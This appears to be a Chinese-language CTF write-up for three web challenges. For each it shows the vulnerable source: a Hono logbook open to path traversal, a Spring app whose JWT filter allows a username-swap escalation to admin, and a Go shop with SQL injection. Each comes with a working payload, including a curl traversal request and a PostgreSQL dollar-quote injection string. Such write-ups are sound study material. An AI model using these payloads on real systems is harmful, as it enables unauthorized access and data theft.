logbook

index.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import { serve } from '@hono/node-server'
import { randomUUID } from 'crypto'
import { readFile, writeFile, stat, access } from 'fs/promises'
import { Hono } from 'hono'
import { join } from 'path'
import { DATA_DIR } from './const.js'
import { getConnInfo } from '@hono/node-server/conninfo'

const app = new Hono();

// it's slow when there's a lot of users
const TIMEOUT = () => ({ signal: AbortSignal.timeout(1000) });

app.get('/', (c) => {
return c.html(`
<h1>Welcome to the Skateboarding Dog Logbook!<h1>
<form action="/book" method="POST">
<button type="submit">Create a Logbook</button>
</form>
`);
})

app.post("/book", async (c) => {
const id = randomUUID();
const file = join(DATA_DIR, id);
await writeFile(file, "<h1>Logbook</h1>\n", { flag: 'a' });
return c.redirect(`/book/${id}`)
});

app.get('/book/:id', async (c) => {
const id = c.req.param('id');
const file = join(DATA_DIR, id);
try {
const fStat = await stat(file);
if (!fStat.isFile()) {
throw new Error("not found");
}
} catch (e) {
c.status(404);
return c.html('<h1>Logbook not found</h1>');
}
c.res.headers.append('content-type', 'text/html');
try {
const data = (await readFile(file, TIMEOUT())).toString();
return c.body(data + `
<form method="POST">
<b>Leave a Message</b>
<br/>
<label for="message">Message</label>
<input name="message" type="text" />
<button type="submit">Add a Message</button>
</form>
`);
} catch (e) {
c.status(404);
return c.html('<h1>Logbook not found</h1>');
}
});

app.post('/book/:id', async (c) => {
const id = c.req.param('id');
const file = join(DATA_DIR, id);
try {
await access(file);
const fStat = await stat(file);
if (!fStat.isFile()) {
throw new Error("not found");
}
} catch (error) {
c.status(404);
return c.html('<h1>Logbook not found</h1>');
}
const b: { message: string } = await c.req.parseBody();
if (b.message.length > 256) {
return c.html("<h1>no hacking pls</h1>");
}
await writeFile(file, `
<p>
<b>${getConnInfo(c).remote.address}</b>: - ${b.message}
</p>`, { flag: 'a', ...TIMEOUT() });
return c.redirect(`/book/${id}`);
});


serve({
fetch: app.fetch,
port: 3000,
hostname: "::"
}, (info) => {
console.log(`Server is running on http://[::]:${info.port}`)
})

GET /book/:id 路由会把 id 原样作为路径片段拼到 DATA_DIR 后,用 statreadFile 读取并原样以 HTML 返回;代码没有对 id 做任何规范化或过滤。
join(DATA_DIR, id) + readFile(file) 的组合,如果能让 id 含有路径分隔(如 %2F 解码后的 /),就可能实现路径穿越去读任意文件。

直接读Dockerfile就行

payload

1
curl -s "https://web-logbook-149941a415b6.c.sk8.dog/book/%2e%2e%2f%2e%2e%2fapp%2fDockerfile" --output - | tr '\0' '\n'

shadow the hedgedog

Routes.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
package sk8boarding.dog.shadow_the_hedgedog;

import java.util.UUID;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;

import jakarta.servlet.RequestDispatcher;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

@Controller
public class Routes {
@Autowired private JwtUtil jwtUtil;
@Autowired private UserService userService;
@Autowired private PasswordEncoder passwordEncoder;

@GetMapping("/")
public String index() {
return "index";
}

@GetMapping("/login")
public String login() {
return "login";
}

protected void setJwtCookie(HttpServletResponse response, String username, String role) {
String token = jwtUtil.generateToken(username, role);
Cookie cookie = new Cookie("shadow", token);
cookie.setHttpOnly(true);
cookie.setPath("/");
response.addCookie(cookie);
}

protected void unsetJwtCookie(HttpServletResponse response) {
Cookie cookie = new Cookie("shadow", "");
cookie.setHttpOnly(true);
cookie.setMaxAge(0);
cookie.setPath("/");
response.addCookie(cookie);
}

@PostMapping("/login")
public String doLogin(@RequestParam String username,
@RequestParam String password,
HttpServletResponse response,
Model model
) {
try {
UserAccount user = (UserAccount) userService.loadUserByUsername(username);
if (passwordEncoder.matches(password, user.getPassword())) {
setJwtCookie(response, username, user.getRole());
return "redirect:/home";
}
} catch (UsernameNotFoundException e) {
}

model.addAttribute("error", "Invalid username/password");
return "login";
}

@GetMapping("/signup")
public String signup() {
return "signup";
}

@PostMapping("/signup")
public String doSignup(@RequestParam String username,
@RequestParam String password,
Model model
) {
try {
userService.loadUserByUsername(username);
model.addAttribute("error", "Username taken");
return "signup";
} catch (UsernameNotFoundException e) {

}

if (password.length() < 8 || !password.chars().anyMatch(Character::isDigit)) {
model.addAttribute("error", "Password must be at least 8 characters and contain a digit");
return "signup";
}

String encoded = passwordEncoder.encode(password);
UserAccount user = new UserAccount(username, encoded, "ROLE_USER");
userService.saveUser(user);

return "redirect:/login";
}

@PostMapping("/create-admin")
@PreAuthorize("hasRole('ADMIN') || hasRole('USER')")
public String createAdmin(RedirectAttributes redirectAttrs) {
String username = UUID.randomUUID().toString();
String password = UUID.randomUUID().toString();

try {
userService.loadUserByUsername(username);
redirectAttrs.addAttribute("error", "Username taken");
return "redirect:/";
} catch (UsernameNotFoundException e) {
}

String encoded = passwordEncoder.encode(password);
UserAccount admin = new UserAccount(username, encoded, "ROLE_ADMIN");
userService.saveUser(admin);
redirectAttrs.addFlashAttribute("message", String.format("Admin '%s' created", username));
return "redirect:/home";
}

@GetMapping(path = "/home")
@PreAuthorize("hasRole('ADMIN') || hasRole('USER')")
public String home(Model model) {
UserAccount user = (UserAccount) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
model.addAttribute("username", user.getUsername());
model.addAttribute("isAdmin", user.getAuthorities().stream()
.anyMatch(auth -> auth.getAuthority().equals("ROLE_ADMIN")));
return "home";
}

@PostMapping(path = "/change-username")
@PreAuthorize("hasRole('ADMIN') || hasRole('USER')")
public String changeUsername(@RequestParam String newUsername,
RedirectAttributes redirectAttrs,
HttpServletResponse response
) {
UserAccount user = (UserAccount) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
user.setUsername(newUsername);
userService.saveUser(user);
redirectAttrs.addFlashAttribute("message", "Username successfully changed. Please log in again.");
unsetJwtCookie(response);
return "redirect:/login";
}

@GetMapping(path = "/flag")
@PreAuthorize("hasRole('ADMIN')")
public String flag(Model model) {
String flag = System.getenv("FLAG");
model.addAttribute("flag", flag);
return "flag";
}

@GetMapping("/error")
public String handleError(HttpServletRequest request, Model model) {
Object status = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE);
Object message = request.getAttribute(RequestDispatcher.ERROR_MESSAGE);
model.addAttribute("status", status);
model.addAttribute("message", message);
return "error";
}
}

问题主要出现在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain)
throws ServletException, IOException {

String token = null;
if (request.getCookies() != null) {
for (Cookie c : request.getCookies()) {
if ("shadow".equals(c.getName())) {
token = c.getValue();
break;
}
}
}

if (token != null) {
try {
String username = getUserIdFromToken(token);
if (username != null) {
applySuccessfulAuth(request, username);
}
} catch (Exception ex) {
}
}

chain.doFilter(request, response);
}

private void applySuccessfulAuth(HttpServletRequest request, String username) {
UserDetails user = userService.loadUserByUsername(username);
UsernamePasswordAuthenticationToken authentication =
new UsernamePasswordAuthenticationToken(user, null, user.getAuthorities());
authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));

SecurityContextHolder.getContext().setAuthentication(authentication);
}

鉴权过滤器只从 shadow Cookie 中取出 JWT,解析 subsubject)作为用户名,然后去数据库按用户名加载用户对象,进而决定权限。注意:并未使用 JWT 中的 role,而是二次查询数据库,以当前数据库中第一个同名用户的权限为准。

首先以test/testtest1注册登录,拿到以下cookie

1
2
3
4
5
6
7
8
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0ZXN0Iiwicm9sZSI6IlJPTEVfVVNFUiIsImlhdCI6MTc1OTA1Nzk1MywiZXhwIjoxNzU5MTQ0MzUzfQ.smmZxj_DR0n4XDEiB3Ctgc0lMRjQ5WGOZbw2jN0nb8w

{
"sub": "test",
"role": "ROLE_USER",
"iat": 1759057953,
"exp": 1759144353
}

然后create-admin,拿到一个admin身份的账号457b856c-832a-4a73-9261-5efa3134ba87

把自己的用户名改为457b856c-832a-4a73-9261-5efa3134ba87,以457b856c-832a-4a73-9261-5efa3134ba87/testtest1登录,此时cookie如下

1
2
3
4
5
6
7
8
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI0NTdiODU2Yy04MzJhLTRhNzMtOTI2MS01ZWZhMzEzNGJhODciLCJyb2xlIjoiUk9MRV9VU0VSIiwiaWF0IjoxNzU5MDU4MzgzLCJleHAiOjE3NTkxNDQ3ODN9.gApq2X08rOJRirB-EiqimUHJfVAlAQmjWyXk2xJQ200

{
"sub": "457b856c-832a-4a73-9261-5efa3134ba87",
"role": "ROLE_USER",
"iat": 1759058383,
"exp": 1759144783
}

再把用户名改成另一个,是457b856c-832a-4a73-9261-5efa3134ba87用户只有一个,且是ROLE_ADMIN

拿着上面得到的cookie去访问/flag即可

fruit-shop

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package main

import (
"database/sql"
"encoding/json"
"log"
"net/http"
"strings"

_ "github.com/lib/pq"
)

var db *sql.DB

type Item struct {
Name string `json:"name"`
SKU string `json:"sku"`
Price int `json:"price"`
Rating int `json:"rating"`
Rank int `json:"rank"`
}

func initDatabase() {
var err error

db, err = sql.Open("postgres", "host=localhost port=5432 user=shop password=shop dbname=shopdb sslmode=disable")
if err != nil {
log.Fatal("Failed to open database connection!")
}
}

func homeHandler(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "/app/index.html")
}

func populateHandler(w http.ResponseWriter, r *http.Request) {
query := strings.ReplaceAll(`
WITH ranked_{TYPE} AS (
SELECT
{TYPE}_name AS name,
{TYPE}_sku AS sku,
{TYPE}_price AS price,
{TYPE}_user_rating AS rating,
RANK() OVER (ORDER BY {TYPE}_user_rating DESC) as rank
FROM {TYPE}
)
SELECT * FROM ranked_{TYPE}
ORDER BY rank, name
LIMIT 20
`, "{TYPE}", r.URL.Query().Get("item"))

rows, err := db.Query(query)
if err != nil {
log.Printf("Query error: %v", err)
http.Error(w, "500", http.StatusServiceUnavailable)
return
}
defer rows.Close()

var items []Item
for rows.Next() {
var item Item
err := rows.Scan(&item.Name, &item.SKU, &item.Price, &item.Rating, &item.Rank)
if err != nil {
log.Printf("Scan error: %v", err)
http.Error(w, "500", http.StatusServiceUnavailable)
return
}
items = append(items, item)
}

w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(items)
}

func main() {
initDatabase()
defer db.Close()

http.HandleFunc("/", homeHandler)
http.HandleFunc("/populate", populateHandler)

port := ":1337"
log.Printf("Server starting on http://localhost%s\n", port)
if err := http.ListenAndServe(port, nil); err != nil {
log.Fatal(err)
}
}

flag在flag表的flag列

payload

1
2
3
4
5
6
7
8
9
GET /populate?item=flag+AS+(SELECT%20flag,1,1,1,1+FROM%20flag)%20SELECT+*+FROM+ranked_flag%3b+SELECT+$a$+||+$b$+||+$c$+||+$d$+||+$e$+||+$f$+||+$g$ HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

没见过的东西,先把gpt的分析丢这里

后端把模板里的 {TYPE}item 参数原样替换:

1
2
3
4
5
6
7
8
9
10
11
12
WITH ranked_{TYPE} AS (
SELECT
{TYPE}_name AS name,
{TYPE}_sku AS sku,
{TYPE}_price AS price,
{TYPE}_user_rating AS rating,
RANK() OVER (ORDER BY {TYPE}_user_rating DESC) AS rank
FROM {TYPE}
)
SELECT * FROM ranked_{TYPE}
ORDER BY rank, name
LIMIT 20

{TYPE}出现在列名前缀{TYPE}_name 等)和表名FROM {TYPE}ranked_{TYPE})的位置,但没有任何白名单/转义。因此,攻击者可以把 {TYPE} 变成一段完整的 SQL 代码片段,而不仅仅是一个干净的表名。


用户传入:

1
item=flag AS (SELECT flag,1,1,1,1 FROM flag) SELECT * FROM ranked_flag; SELECT $a$ || $b$ || $c$ || $d$ || $e$ || $f$ || $g$

把它替进模板后,关键部分会变成这样(用 [...] 标出替换点,省略不相干空白):

1
2
3
4
5
6
7
8
9
WITH ranked_[flag AS (SELECT flag,1,1,1,1 FROM flag)] AS (
SELECT
[flag AS (SELECT ... ) ... $g$]_name AS name,
...
FROM [flag AS (SELECT ... ) ... $g$]
)
SELECT * FROM ranked_[flag AS (SELECT ... ) ... $g$]
ORDER BY rank, name
LIMIT 20

但注意:我们在 {TYPE} 第一次出现的位置就提前闭合了括号结束了原本的 CTE

1
2
WITH ranked_flag AS (SELECT flag,1,1,1,1 FROM flag)
SELECT * FROM ranked_flag;

这两句已经形成了自洽的查询

  • 我们把 CTE 名字定为 ranked_flag
  • CTE 的定义不再使用模板里的 SELECT {TYPE}_name ...,而是被我们完全替换SELECT flag,1,1,1,1 FROM flag
  • 这样 CTE 产出的5 列正好对应 Go 端 rows.Scan(&Name,&SKU,&Price,&Rating,&Rank)5 列(第一列是真正的 flag,其余 4 列用常数补齐,类型都可被 Go 扫进 int/string 之类)。

紧接着我们自己补了一句:

1
SELECT * FROM ranked_flag;

这句就是让服务器立刻返回那 5 列数据(其中第一列就是 flag)。


替换是全局的:模板里剩下很多 {TYPE} 变体(例如 {TYPE}_name),会在我们插入的 ; 之后,形成一堆语法垃圾(例如 _name AS name, ...)。如果不处理,这些残余会让整个请求语法错误。

payload 末尾这段:

1
; SELECT $a$ || $b$ || $c$ || $d$ || $e$ || $f$ || $g$

就是用 PostgreSQL 的 dollar-quoted string$tag$...$tag$)来“吞掉”后续字符的技巧:

  • 在替换点后,模板会紧跟着像 _name AS name, 这样的后缀。
  • ... || $g$ 和接下来的 _name 连在一起时,词法分析可把**$g$_name视为一个新的 dollar-quote 起始符**(tag 允许字母和下划线),于是从这里开始直到再次出现同样的 $g$_name$ 之前,解析器都把内容当作字符串字面量,不再按 SQL 语法解析。
  • 因为模板的剩余部分都落进了这个未闭合的 dollar-quote 字面量里,所以不会再触发语法冲突;而我们在这之前已经完成了想要执行的两条完整语句(定义 CTE + 读取 CTE)。

(CTF 里这招常见于 PostgreSQL:利用 $tag$ 紧贴后缀把余下的模板吃掉,效果相当于注释掉后面的所有内容,但比 --//* */ 更稳,因为你不知道后面会拼接什么字符。)


  • Go 端使用 db.Query(query),PostgreSQL 允许一次请求里包含多条语句(以分号分隔)。
  • 由于我们在“垃圾吞噬”前就放了一句完整的 SELECT * FROM ranked_flag;,驱动返回这个查询的结果集
  • 该结果集恰好是5 列(flag, 1, 1, 1, 1),与 rows.Scan(Name, SKU, Price, Rating, Rank) 的 5 列匹配,循环即可把第一列(真正的 flag)编码回 JSON 返回给前端。

总结

  1. 重写 CTEflag AS (SELECT flag,1,1,1,1 FROM flag) —— 让 CTE 里装的是我们想要的列(第一列是 flag)。
  2. 立刻读取SELECT * FROM ranked_flag; —— 在任何语法碎片捣乱之前先把结果取出来。
  3. 吞掉尾巴SELECT $a$ || ... || $g$ —— 借助 dollar-quote 紧贴后缀,把模板剩余内容变成字符串内容,从而不参与解析。